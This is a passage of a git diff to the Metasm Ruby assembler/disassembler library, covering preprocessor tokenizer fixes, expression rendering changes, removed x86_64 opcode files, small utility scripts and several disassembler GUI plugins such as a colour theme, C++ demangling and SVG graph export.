not ntok.expanded_from rewind = false if preprocessor_directive(ntok) - break - else break end + break end if rewind # false alarm: revert pretok.reverse_each { |t| unreadtok t } + else + # XXX return :eol ? + tok = readtok end - tok = readtok if lastpos == 0 # else return the :eol - elsif expand_macros and tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and + elsif tok.type == :string and m = @definition[tok.raw] and not tok.expanded_from.to_a.find { |ef| ef.raw == m.name.raw } and ((m.args and margs = Macro.parse_arglist(self)) or not m.args) if defined? @traced_macros and tok.backtrace[-2].to_s[0] == ?" and m.name and m.name.backtrace[-2].to_s[0] == ?< @@ -637,21 +649,20 @@ class Preprocessor when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ tok.type = :string raw = tok.raw << c - loop do - case c = getchar - when nil; ungetchar; break # avoids 'no method "coerce" for nil' warning + while c = getchar + case c when ?a..?z, ?A..?Z, ?0..?9, ?$, ?_ - raw << c - else ungetchar; break + else break end + raw << c end + ungetchar when ?\ , ?\t, ?\r, ?\n, ?\f tok.type = ((c == ?\ || c == ?\t) ? :space : :eol) raw = tok.raw << c - loop do - case c = getchar - when nil; break + while c = getchar + case c when ?\ , ?\t when ?\n, ?\f, ?\r; tok.type = :eol else break @@ -676,8 +687,7 @@ class Preprocessor tok.type = :space raw << c seenstar = false - loop do - raise tok, 'unterminated c++ comment' if not c = getchar + while c = getchar raw << c case c when ?*; seenstar = true @@ -685,6 +695,7 @@ class Preprocessor else seenstar = false end end + raise tok, 'unterminated c++ comment' if not c else # just a slash ungetchar @@ -704,59 +715,60 @@ class Preprocessor def readtok_nopp_str(tok, delimiter) tok.type = :quoted tok.raw << delimiter - tok.value = '' + tok.value = '' + tok.value.force_encoding('binary') if tok.value.respond_to?(:force_encoding) c = nil - loop do - raise tok, 'unterminated string' if not c = getchar + loop do + raise tok, 'unterminated string' if not c = getchar + tok.raw << c + case c + when delimiter; break + when ?\\ + raise tok, 'unterminated escape' if not c = getchar tok.raw << c + tok.value << \ case c - when delimiter; break - when ?\\ - raise tok, 'unterminated escape' if not c = getchar - tok.raw << c - tok.value << \ - case c - when ?n; ?\n - when ?r; ?\r - when ?t; ?\t - when ?a; ?\a - when ?b; ?\b - when ?v; ?\v - when ?f; ?\f - when ?e; ?\e - when ?#, ?\\, ?', ?"; c - when ?\n; '' # already handled by getchar - when ?x; - hex = '' - while hex.length < 2 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?9, ?a..?f, ?A..?F - else ungetchar; break - end - hex << c - tok.raw << c + when ?n; ?\n + when ?r; ?\r + when ?t; ?\t + when ?a; ?\a + when ?b; ?\b + when ?v; ?\v + when ?f; ?\f + when ?e; ?\e + when ?#, ?\\, ?', ?"; c + when ?\n; '' # already handled by getchar + when ?x; + hex = '' + while hex.length < 2 + raise tok, 'unterminated escape' if not c = getchar + case c + when ?0..?9, ?a..?f, ?A..?F + else ungetchar; break end - raise tok, 'unterminated escape' if hex.empty? - hex.hex - when ?0..?7; - oct = '' << c - while oct.length < 3 - raise tok, 'unterminated escape' if not c = getchar - case c - when ?0..?7 - else ungetchar; break - end - oct << c - tok.raw << c - end - oct.oct - else c # raise tok, 'unknown escape sequence' + hex << c + tok.raw << c end - when ?\n; ungetchar ; raise tok, 'unterminated string' - else tok.value << c + raise tok, 'unterminated escape' if hex.empty? + hex.hex + when ?0..?7; + oct = '' << c + while oct.length < 3 + raise tok, 'unterminated escape' if not c = getchar + case c + when ?0..?7 + else ungetchar; break + end + oct << c + tok.raw << c + end + oct.oct + else c # raise tok, 'unknown escape sequence' end + when ?\n; ungetchar ; raise tok, 'unterminated string' + else tok.value << c end + end tok end @@ -767,6 +779,9 @@ class Preprocessor def define(name, value=nil, from=caller.first) from =~ /^(.*?):(\d+)/ btfile, btlineno = $1, $2.to_i + if not @may_preprocess and @text =~ /#{Regexp.escape name}/ + @may_preprocess = true + end t = Token.new([btfile, btlineno]) t.type = :string t.raw = name.dup @@ -1095,7 +1110,7 @@ class Preprocessor nil while dir = readtok and dir.type == :space raise cmd, 'qstring expected' if not dir or dir.type != :quoted dir = ::File.expand_path dir.value - raise cmd, "invalid path #{dir}" if not ::File.directory? dir + raise cmd, "invalid path #{dir.inspect}" if not ::File.directory? dir @include_search_path.unshift dir when 'push_macro', 'pop_macro' diff --git a/lib/metasm/metasm/render.rb b/lib/metasm/metasm/render.rb index f60326435f..9c2fcb9b3f 100644 --- a/lib/metasm/metasm/render.rb +++ b/lib/metasm/metasm/render.rb @@ -19,8 +19,10 @@ module Renderable r = proc { |e| case e when Expression - yield e r[e.lexpr] ; r[e.rexpr] + yield e + when ExpressionType + yield e when Renderable e.render.each { |re| r[re] } end @@ -64,67 +66,41 @@ end class Expression include Renderable - attr_accessor :render_info - - # this is an accessor to @@render_int, the lambda used to render integers > 10 - # usage: Expression.render_int = lambda { |e| '0x%x' % e } - # or Expression.render_int { |e| '0x%x' % e } - # XXX the returned string should be suitable for inclusion in a label name etc - def self.render_int(&b) - if b - @@render_int = b - else - @@render_int - end - end - def self.render_int=(p) - @@render_int = p - end - @@render_int = nil def render_integer(e) - if render_info and @render_info[:char] - ee = e - v = [] - while ee > 0 - v << (ee & 0xff) - ee >>= 8 - end - v.reverse! if @render_info[:char] == :big - if not v.empty? and v.all? { |c| c < 0x7f } - # XXX endianness - return "'" + v.pack('C*').inspect.gsub("'") { '\\\'' }[1...-1] + "'" - end - end - if e < 0 - neg = true - e = -e - end - if e < 10; e = e.to_s - elsif @@render_int - e = @@render_int[e] - else - e = '%xh' % e - e = '0' << e unless (?0..?9).include? e[0] - end - e = '-' << e if neg - e + if e < 0 + neg = true + e = -e + end + if e < 10; e = e.to_s + else + e = '%xh' % e + e = '0' << e unless (?0..?9).include? e[0] + end + e = '-' << e if neg + e end NOSQ1 = NOSQ2 = {:* => [:*], :+ => [:+, :-, :*], :- => [:+, :-, :*]} NOSQ2[:-] = [:*] def render - l = @lexpr.kind_of?(Integer) ? render_integer(@lexpr) : @lexpr - r = @rexpr.kind_of?(Integer) ? render_integer(@rexpr) : @rexpr - l = ['(', l, ')'] if @lexpr.kind_of? Expression and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) - r = ['(', r, ')'] if @rexpr.kind_of? Expression and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) + l = @lexpr.kind_of?(::Integer) ? render_integer(@lexpr) : @lexpr + r = @rexpr.kind_of?(::Integer) ? render_integer(@rexpr) : @rexpr + l = ['(', l, ')'] if @lexpr.kind_of?(Expression) and (not oa = NOSQ1[@op] or not oa.include?(@lexpr.op)) + r = ['(', r, ')'] if @rexpr.kind_of?(Expression) and (not oa = NOSQ2[@op] or not oa.include?(@rexpr.op)) op = @op if l or @op != :+ if op == :+ r0 = [r].flatten.first r0 = r0.render.flatten.first while r0.kind_of? Renderable - op = nil if (r0.kind_of? Integer and r0 < 0) or (r0.kind_of? String and r0[0] == ?-) or r0 == :- + op = nil if (r0.kind_of?(::Integer) and r0 < 0) or (r0.kind_of?(::String) and r0[0] == ?-) or r0 == :- end [l, op, r].compact end end + +class ExpressionString + include Renderable + + def render; hide_str ? @expr.render : render_str ; end +end end diff --git a/lib/metasm/metasm/x86_64.rb b/lib/metasm/metasm/x86_64.rb deleted file mode 100644 index 472d12f8c3..0000000000 --- a/lib/metasm/metasm/x86_64.rb +++ /dev/null @@ -1,12 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/x86_64/parse' -require 'metasm/x86_64/encode' -require 'metasm/x86_64/decode' -require 'metasm/x86_64/debug' -require 'metasm/x86_64/compile_c' diff --git a/lib/metasm/metasm/x86_64/opcodes.rb b/lib/metasm/metasm/x86_64/opcodes.rb deleted file mode 100644 index 9c47611f64..0000000000 --- a/lib/metasm/metasm/x86_64/opcodes.rb +++ /dev/null @@ -1,117 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/main' -require 'metasm/ia32/opcodes' - -module Metasm -class X86_64 - def init_cpu_constants - super() - @valid_args.concat [:i32, :u32, :i64, :u64] - @valid_args - end - - def init_386_common_only - super() - # :imm64 => accept a real int64 as :i argument - # :auto64 => ignore rex_w, always 64-bit op - # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest - @valid_props |= [:imm64, :auto64, :op32no64] - @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 } # now REX prefix - @opcode_list.each { |o| - o.props[:imm64] = true if o.bin == [0xB8] # mov reg, - o.props[:auto64] = true if o.name =~ /^(j|loop|(call|enter|leave|lgdt|lidt|lldt|ltr|pop|push|ret)$)/ - #o.props[:op32no64] = true if o.name =~ // # TODO are there any instr here ? - } - addop 'movsxd', [0x63], :mrm - end - - # all x86_64 cpu understand <= sse2 instrs - def init_x8664_only - init_386_common_only - init_386_only - init_387_only # 387 indeed - init_486_only - init_pentium_only - init_p6_only - init_sse_only - init_sse2_only - - @opcode_list.delete_if { |o| - o.args.include?(:seg2) or - o.args.include?(:seg2A) or - %w[lds les loadall arpl pusha pushad popa popad].include?(o.name) - } - - addop 'swapgs', [0x0F, 0x01, 0xF8] - end - - def init_sse3 - init_x8664_only - init_sse3_only - end - - def init_vmx - init_sse3 - init_vmx_only - end - - def init_all - init_vmx - init_sse42_only - init_3dnow_only - end - - alias init_latest init_all - - - def addop_macrostr(name, bin, type) - super(name, bin, type) - bin = bin.dup - bin[0] |= 1 - addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true } - end - - def addop_post(op) - if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0 - return super(op) - end - - dupe = lambda { |o| - dop = Opcode.new o.name.dup, o.bin.dup - dop.fields, dop.props, dop.args = o.fields.dup, o.props.dup, o.args.dup - dop - } - - @opcode_list << op - - if op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret' - # define opsz-override version for ambiguous opcodes - op16 = dupe[op] - op16.name << '.i16' - op16.props[:opsz] = 16 - @opcode_list << op16 - # push call ret jz can't 32bit - op64 = dupe[op] - op64.name << '.i64' - op64.props[:opsz] = 64 - @opcode_list << op64 - elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or - op.args.include? :modrm or op.args.include? :modrmA or op.name =~ /loop|xlat/ - # define adsz-override version for ambiguous opcodes (movsq) - # XXX loop pfx 67 = rip+ecx, 66/rex ignored - op32 = dupe[op] - op32.name << '.a32' - op32.props[:adsz] = 32 - @opcode_list << op32 - op64 = dupe[op] - op64.name << '.a64' - op64.props[:adsz] = 64 - @opcode_list << op64 - end - end -end -end diff --git a/lib/metasm/misc/hexdump.rb b/lib/metasm/misc/hexdump.rb index 0670a4208f..98cce4cad4 100644 --- a/lib/metasm/misc/hexdump.rb +++ b/lib/metasm/misc/hexdump.rb @@ -51,5 +51,6 @@ if $0 == __FILE__ fmt << 'd' if ARGV.delete '-D' fmt << 'a' if ARGV.delete '-A' fmt = ['c', 'd', 'a'] if ARGV.delete '-a' - File.open(ARGV.first, 'rb').hexdump(:fmt => fmt) + infd = ARGV.empty? ? $stdin : File.open(ARGV.first, 'rb') + infd.hexdump(:fmt => fmt) end diff --git a/lib/metasm/misc/lint.rb b/lib/metasm/misc/lint.rb new file mode 100644 index 0000000000..c6032935fa --- /dev/null +++ b/lib/metasm/misc/lint.rb @@ -0,0 +1,58 @@ +#!/usr/bin/ruby +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# this is a ruby code cleaner tool +# it passes its argument to ruby -v -c, which displays warnings (eg unused variable) +# it shows the incriminated line along the warning, to help identify false positives +# probably linux-only, and need ruby-1.9.1 or newer + +def lint(tg) + if File.symlink?(tg) + # nothing + elsif File.directory?(tg) + Dir.entries(tg).each { |ent| + next if ent == '.' or ent == '..' + ent = File.join(tg, ent) + lint(ent) if File.directory?(ent) or ent =~ /\.rb$/ + } + else + lint_file(tg) + end +end + +def lint_file(tg) + flines = nil + compile_warn(tg).each_line { |line| + file, lineno, warn = line.split(/\s*:\s*/, 3) + if file == tg + if not flines + puts "#{tg}:" + flines = File.readlines(file) #File.open(file, 'rb') { |fd| fd.readlines } + end + puts " l.#{lineno}: #{warn.strip}: #{flines[lineno.to_i-1].strip.inspect}" + end + } + puts if flines +end + +def compile_warn(tg) + r, w = IO.pipe('binary') + if !fork + r.close + $stderr.reopen w + $stdout.reopen '/dev/null' + exec 'ruby', '-v', '-c', tg + exit! + else + w.close + end + r +end + +ARGV << '.' if ARGV.empty? +ARGV.each { |arg| lint arg } + diff --git a/lib/metasm/misc/txt2html.rb b/lib/metasm/misc/txt2html.rb index 647df94727..3694a6245d 100644 --- a/lib/metasm/misc/txt2html.rb +++ b/lib/metasm/misc/txt2html.rb @@ -1,4 +1,5 @@ #!/usr/bin/env ruby +# encoding: binary (rage) # This file is part of Metasm, the Ruby assembly manipulation suite # Copyright (C) 2006-2009 Yoann GUILLOT # @@ -48,7 +49,7 @@ class Elem if e.class.ancestors.include? Elem @content << e else - @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})")) { |x| @@quotechars[x] } + @content << e.to_s.gsub(Regexp.new("(#{@@quotechars.keys.join('|')})", 'm')) { |x| @@quotechars[x] } end } self @@ -273,7 +274,7 @@ class Txt2Html puts "compiling #{outf}..." if $VERBOSE @pathfix = outf.split('/')[0...-1].map { '../' }.join - out = compile(File.read(f).gsub("\r", '') + "\n\n") + out = compile(File.open(f, 'rb') { |fd| fd.read }.gsub("\r", '') + "\n\n") File.open(outf, 'wb') { |fd| fd.write out.to_s.gsub("\r", '').gsub("\n", "\r\n") } end @@ -338,8 +339,8 @@ class Txt2Html if pl = state[:list][bullet.chop] pl.content.last.content << lst else - out.body << lst - end + out.body << lst + end end lst.add_line compile_string(text) @@ -358,9 +359,9 @@ class Txt2Html lst = state[:list].sort.last[1] lst.content.last.content << ' ' << compile_string(l) else - prev << ' ' if prev.length > 0 - prev << l - end + prev << ' ' if prev.length > 0 + prev << l + end end } flush[] @@ -368,13 +369,13 @@ class Txt2Html out end - # handle **bold_words** *italic* `fixed` + # handle **bold_words** *italic* `fixed` **bold__word__with__underscore** def compile_string(str) o = [str] on = [] o.each { |s| while s.kind_of? String and o1 = s.index('**') and o2 = s.index('**', o1+2) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ')) + on << s[0...o1] << Html::Elem.new('b').add(s[o1+2...o2].tr('_', ' ').gsub(' ', '_')) s = s[o2+2..-1] end on << s @@ -383,7 +384,7 @@ class Txt2Html on = [] o.each { |s| while s.kind_of? String and o1 = s.index('*') and o2 = s.index('*', o1+1) and not s[o1..o2].index(' ') - on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ')) + on << s[0...o1] << Html::Elem.new('i').add(s[o1+1...o2].tr('_', ' ').gsub(' ', '_')) s = s[o2+1..-1] end on << s @@ -409,19 +410,20 @@ class Txt2Html when 'txt' tg = outfilename(lnk) Txt2Html.new(lnk) - on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ')) + on << Html::A.new(@pathfix + tg, File.basename(lnk, '.txt').tr('_', ' ').gsub(' ', '_')) when 'jpg', 'png' on << Html::Img.new(lnk) end else + on << Html::A.new(lnk, lnk) if lnk =~ /\.txt$/ @@seen_nofile ||= [] if not @@seen_nofile.include? lnk @@seen_nofile << lnk puts "reference to missing #{lnk.inspect}" end + on.last.hclass('brokenlink') end - on << Html::A.new(lnk, lnk) end end on << s diff --git a/lib/metasm/samples/bindiff.rb b/lib/metasm/samples/bindiff.rb index b2a6a9c696..5a49df0de1 100644 --- a/lib/metasm/samples/bindiff.rb +++ b/lib/metasm/samples/bindiff.rb @@ -294,7 +294,6 @@ class BinDiffWidget < Gui::DrawableWidget set_status('match funcs') { # refine the layout matching with actual function matching already_matched = [] - match_score = {} layout_match.each { |f1, list| puts "matching #{Expression[f1]}" if $VERBOSE begin @@ -429,8 +428,8 @@ end # show in window 1 the match of the function found in win 2 def sync1 c2 = curfunc2 - if a1 = match_funcs.find { |k, (a2, s)| a2 == c2 } - @dasm1.gui.focus_addr(a1[0]) + if a1 = match_funcs.find_key { |k| match_funcs[k][0] == c2 } + @dasm1.gui.focus_addr(a1) end end diff --git a/lib/metasm/samples/compilation-steps.rb b/lib/metasm/samples/compilation-steps.rb index 164d638e14..5246367f82 100644 --- a/lib/metasm/samples/compilation-steps.rb +++ b/lib/metasm/samples/compilation-steps.rb @@ -16,9 +16,10 @@ OptionParser.new { |opt| opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; opts[:macros][v0] = v1 } opt.on('-v') { $VERBOSE = true } opt.on('-d') { $VERBOSE = $DEBUG = true } + opt.on('-e src') { |s| opts[:src] = s } }.parse!(ARGV) -src = ARGV.empty? ? < hex RRGGBB + :base03 => '002b36', + :base02 => '073642', + :base01 => '586e75', + :base00 => '657b83', + :base0 => '839496', + :base1 => '93a1a1', + :base2 => 'eee8d5', + :base3 => 'fdf6e3', + :yellow => 'b58900', + :orange => 'cb4b16', + :red => 'dc322f', + :magenta => 'd33682', + :violet => '6c71c4', + :blue => '268bd2', + :cyan => '2aa198', + :green => '859900', + + # personnal additions for more contrast + :base0C => '094048', + :base0D => '00151b', + + :black => '002b36', # base03 + :white => '93a1a1', # base1 + + :yellow_bg => '5a591b',# approx mean with black + manual tweak + :orange_bg => '553a16', + :red_bg => '461b1d', + :magenta_bg => '69305c', + :violet_bg => '364d7d', + :blue_bg => '135a84', + :cyan_bg => '156567', + :green_bg => '16510b', + } + + # all widget's colorscheme inherits from this one + # this is the dark background theme. For light background, change + # all 'baseX' into 'base0X' and 'base0X' into 'baseX'. + default = { + :background => :black, + :text => :white, + :instruction => :white, + :cursorline_bg => :base02, + :comment => :base01, + :caret => :base0, + :label => :violet, + :address => :blue, + :hl_word_bg => :white, + :hl_word => :black, + } + + specific = { + # widget name => colortheme + # unspecified colors are taken from 'default' + # still unspecified colors are left unchanged + :listing => { + :raw_data => :white, + :arrows_bg => :base02, + :arrow_up => :cyan, + :arrow_dn => :blue, + :arrow_hl => :orange, + }, + + :opcodes => { + :raw_data => :white, + }, + + :decompile => { + :keyword => :blue, + :localvar => :red, + :globalvar => :green, + :intrinsic => :yellow, + }, + + :coverage => { + :code => :red, + :data => :blue, + :caret => :yellow, + :caret_col => :green, + }, + + :graph => { + :background => :base0D, + :hlbox_bg => :base02, + :box_bg => :base03, + :cursorline_bg => :base03, + :arrow_cond => :green, + :arrow_uncond => :cyan, + :arrow_direct => :blue, + :arrow_hl => :orange, + :box_bg_shadow => '000000', + }, + + :hex => { + :ascii => :white, + :data => :base1, + :write_pending => :red, + :caret_mirror => :base0C, + }, + } + + gui.view_indexes.each { |v| + cs = specific[v] || {} + view = gui.view(v) + # keep original view ':foo => :text' colors + legacy = view.default_color_association.dup + # but discard actual color defs (still present as fallback anyway) + legacy.delete_if { |k, c| c.kind_of?(::String) } + nca = solarized.merge(legacy).merge(default).merge(cs) + view.set_color_association(nca) + } + + true +end diff --git a/lib/metasm/samples/dasm-plugins/demangle_cpp.rb b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb new file mode 100644 index 0000000000..273000d033 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/demangle_cpp.rb @@ -0,0 +1,31 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin: try to demangle all labels as c++ names, add them as +# comment if successful + +def demangle_all_cppnames + cnt = 0 + prog_binding.each { |name, addr| + cname = name.sub(/^thunk_/, '') + if dname = demangle_cppname(cname) + cnt += 1 + add_comment(addr, dname) + each_xref(addr, :x) { |xr| + if di = di_at(xr.origin) + di.add_comment dname + di.comment.delete "x:#{name}" + end + } + end + } + cnt +end + +if gui + demangle_all_cppnames + gui.gui_update +end diff --git a/lib/metasm/samples/dasm-plugins/deobfuscate.rb b/lib/metasm/samples/dasm-plugins/deobfuscate.rb index 21e8f885cc..4f9d988ab7 100644 --- a/lib/metasm/samples/dasm-plugins/deobfuscate.rb +++ b/lib/metasm/samples/dasm-plugins/deobfuscate.rb @@ -204,7 +204,7 @@ def self.newinstr_callback(dasm, di) dasm.replace_instrs(unused.first.address, unused.first.address, []) if not unused.empty? # patch the dasm graph - if dasm.replace_instrs(lastdi.address, di.address, newinstrs) + if dasm.replace_instrs(lastdi.address, di.address, newinstrs, true) puts ' deobfuscate', di_seq, ' into', newinstrs, ' ---' if $DEBUG # recurse, keep the last generated di to return to caller as replacement newinstrs.each { |bdi| di = newinstr_callback(dasm, bdi) || di } diff --git a/lib/metasm/samples/dasm-plugins/export_graph_svg.rb b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb new file mode 100644 index 0000000000..1dec3e46b4 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/export_graph_svg.rb @@ -0,0 +1,86 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin: create a function to export the currently displayed +# dasm graph to a .svg file +# in the gui, type E to export. Tested only for graph-style view, *may* work in other cases + +raise 'gui only' if not gui + +def graph_to_svg + gw = gui.curview.dup + class << gw + attr_accessor :svgbuf, :svgcol + def draw_color(col) + col = @default_color_association.fetch(col, col) + col = BasicColor.fetch(col, col) + @svgcol = "##{col}" + end + + def draw_line(x1, y1, x2, y2) + bb(x1, y1, x2, y2) + svgbuf << %Q{\n} + end + def draw_rectangle(x, y, w, h) + bb(x, y, x+w, y+h) + svgbuf << %Q{\n} + end + def draw_string(x, y, str) + bb(x, y, x+str.length*@font_width, y+@font_height) + stre = str.gsub('<', '<').gsub('>', '>') + svgbuf << %Q{#{stre}\n} + end + + def draw_rectangle_color(c, *a) + draw_color(c) + draw_rectangle(*a) + end + def draw_line_color(c, *a) + draw_color(c) + draw_line(*a) + end + def draw_string_color(c, *a) + draw_color(c) + draw_string(*a) + end + + def focus?; false; end + def view_x; @svgvx ||= @curcontext.boundingbox[0]-20; end + def view_y; @svgvy ||= @curcontext.boundingbox[1]-20; end + def width; @svgvw ||= (@curcontext ? (@curcontext.boundingbox[2]-@curcontext.boundingbox[0])*@zoom+20 : 800); end + def height; @svgvh ||= (@curcontext ? (@curcontext.boundingbox[3]-@curcontext.boundingbox[1])*@zoom+20 : 600); end + def svgcuraddr; @curcontext ? @curcontext.root_addrs.first : current_address; end + + # drawing bounding box (for the background rectangle) + attr_accessor :bbx, :bby, :bbxm, :bbym + def bb(x1, y1, x2, y2) + @bbx = [x1, x2, @bbx].compact.min + @bbxm = [x1, x2, @bbxm].compact.max + @bby = [y1, y2, @bby].compact.min + @bbym = [y1, y2, @bbym].compact.max + end + end + ret = gw.svgbuf = '' + gw.paint + + ret[0, 0] = < + + +Graph of #{get_label_at(gw.svgcuraddr) || Expression[gw.svgcuraddr]} +" +EOS + ret << %Q{} +end + +gui.keyboard_callback[?E] = lambda { |*a| + gui.savefile('svg target') { |f| + svg = graph_to_svg + File.open(f, 'w') { |fd| fd.write svg } + } + true +} diff --git a/lib/metasm/samples/dasm-plugins/hl_opcode.rb b/lib/metasm/samples/dasm-plugins/hl_opcode.rb index 80aa068860..3552f1db6d 100644 --- a/lib/metasm/samples/dasm-plugins/hl_opcode.rb +++ b/lib/metasm/samples/dasm-plugins/hl_opcode.rb @@ -6,18 +6,22 @@ # metasm dasm GUI plugin: hilight lines of code based on the opcode name if gui - @gui_opcode_color = { 'call' => '8f8', 'jmp' => 'faa', 'jcc' => 'fc8' } + @gui_opcode_color = { + :call => :green_bg, + :jmp => :red_bg, + :jcc => :orange_bg, + } obg = gui.bg_color_callback # chain old callback gui.bg_color_callback = lambda { |a| if di = di_at(a) and pr = di.opcode.props if pr[:saveip] and (@function[di.block.to_normal.to_a.first] or di.block.to_subfuncret.to_a.first) # don't color call+pop - @gui_opcode_color['call'] + @gui_opcode_color[:call] elsif pr[:stopexec] - @gui_opcode_color['jmp'] + @gui_opcode_color[:jmp] elsif pr[:setip] - @gui_opcode_color['jcc'] + @gui_opcode_color[:jcc] else obg[a] if obg end diff --git a/lib/metasm/samples/dasm-plugins/imm2off.rb b/lib/metasm/samples/dasm-plugins/imm2off.rb new file mode 100644 index 0000000000..a7d328efb1 --- /dev/null +++ b/lib/metasm/samples/dasm-plugins/imm2off.rb @@ -0,0 +1,34 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +# metasm dasm plugin +# walks all disassembled instructions referencing an address +# if the address is a label, update the instruction to use the label +# esp. useful after a disassemble_fast, with a .map file + +def addrtolabel + bp = prog_binding.invert + @decoded.each_value { |di| + next if not di.kind_of?(DecodedInstruction) + di.each_expr { |e| + next unless e.kind_of?(Expression) + if l = bp[e.lexpr] + add_xref(e.lexpr, Xref.new(:addr, di.address)) + e.lexpr = Expression[l] + end + if l = bp[e.rexpr] + add_xref(e.rexpr, Xref.new(:addr, di.address)) + e.rexpr = (e.lexpr ? Expression[l] : l) + end + } + } + nil +end + +if gui + addrtolabel + gui.gui_update +end diff --git a/lib/metasm/samples/dasm-plugins/match_libsigs.rb b/lib/metasm/samples/dasm-plugins/match_libsigs.rb index f6514e4ba9..682d8b66d0 100644 --- a/lib/metasm/samples/dasm-plugins/match_libsigs.rb +++ b/lib/metasm/samples/dasm-plugins/match_libsigs.rb @@ -31,8 +31,8 @@ def initialize(file) @siglenmax = @sigs.values.map { |v| v.length }.max # compile a giant regex from the signatures - re = @sigs.values.uniq.map { |sig| - sig.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } + re = @sigs.values.uniq.map { |sigh| + sigh.gsub(/../) { |b| b == '..' ? '.' : ('\\x' + b) } }.join('|') # 'n' is a magic flag to allow high bytes in the regex (ruby1.9 + utfail) diff --git a/lib/metasm/samples/dasm-plugins/namelocalvars.rb b/lib/metasm/samples/dasm-plugins/namelocalvars.rb deleted file mode 100644 index 78f36d7c06..0000000000 --- a/lib/metasm/samples/dasm-plugins/namelocalvars.rb +++ /dev/null @@ -1,35 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# metasm dasm plugin: replace instances of [ebp-42] with [ebp+var_42] for the current function -# (x86 only) -def namelocalvars(addr) - vars = [] - each_function_block(addr) { |a| - decoded[a].block.list.each { |di| - di.instruction.args.grep(Ia32::ModRM).each { |mrm| - next if mrm.s or not mrm.b or mrm.b.symbolic != :ebp - next if not i = mrm.imm or not i = i.reduce or not i.kind_of? Integer - # after our substitution get_bt_bind will return invalid data - # XXX probably breaks decompilation - di.backtrace_binding ||= cpu.get_backtrace_binding(di) - n = i > 0 ? "arg_#{i.to_s(16)}" : "var_#{(-i).to_s(16)}" - mrm.imm = Expression[n] - vars << n - } - } - } - vars.uniq.sort_by { |n| [n[0, 4], n[4..-1].to_i(16)] } -end - -if gui - gui.keyboard_callback[?L] = lambda { - puts namelocalvars(gui.curaddr).join(', ') - gui.gui_update - true - } - gui.keyboard_callback[?L][] -end diff --git a/lib/metasm/samples/dasm-plugins/patch_file.rb b/lib/metasm/samples/dasm-plugins/patch_file.rb index 92304026b9..694f4930ac 100644 --- a/lib/metasm/samples/dasm-plugins/patch_file.rb +++ b/lib/metasm/samples/dasm-plugins/patch_file.rb @@ -13,7 +13,7 @@ def backup_program_file if File.exist?(f) and not File.exist?(f + '.bak') File.open(f + '.bak', 'wb') { |wfd| File.open(f, 'rb') { |rfd| - while buf = rfd.read(1<<16) + while buf = rfd.read(1024*1024) wfd.write buf end } diff --git a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb index 67e8f0ea6d..9c2efb65f0 100644 --- a/lib/metasm/samples/dasm-plugins/scanfuncstart.rb +++ b/lib/metasm/samples/dasm-plugins/scanfuncstart.rb @@ -14,7 +14,7 @@ def scanfuncstart(addr) fs = find_function_start(addr) return fs if fs != addr end - edata, s_name = get_section_at(addr) + edata = get_edata_at(addr) if o = (1..1000).find { |off| @decoded[addr-off-1] or edata.data[edata.ptr-off-1] == ?\xcc or @@ -27,7 +27,7 @@ def scanfuncstart(addr) end if gui - gui.keyboard_callback_ctrl[?P] = lambda { + gui.keyboard_callback_ctrl[?P] = lambda { |*a| if o = scanfuncstart(gui.curaddr) gui.focus_addr(o) end diff --git a/lib/metasm/samples/dasm-plugins/scanxrefs.rb b/lib/metasm/samples/dasm-plugins/scanxrefs.rb index 2ac5c3c2b5..e90803c4ce 100644 --- a/lib/metasm/samples/dasm-plugins/scanxrefs.rb +++ b/lib/metasm/samples/dasm-plugins/scanxrefs.rb @@ -17,7 +17,7 @@ def scanxrefs(target) ans end -gui.keyboard_callback[?X] = lambda { +gui.keyboard_callback[?X] = lambda { |*a| target = gui.curaddr ans = scanxrefs(target) list = [['addr']] + ans.map { |off| [Expression[off].to_s] } diff --git a/lib/metasm/samples/dasm-plugins/stringsxrefs.rb b/lib/metasm/samples/dasm-plugins/stringsxrefs.rb new file mode 100644 index 0000000000..14f9efde46 --- 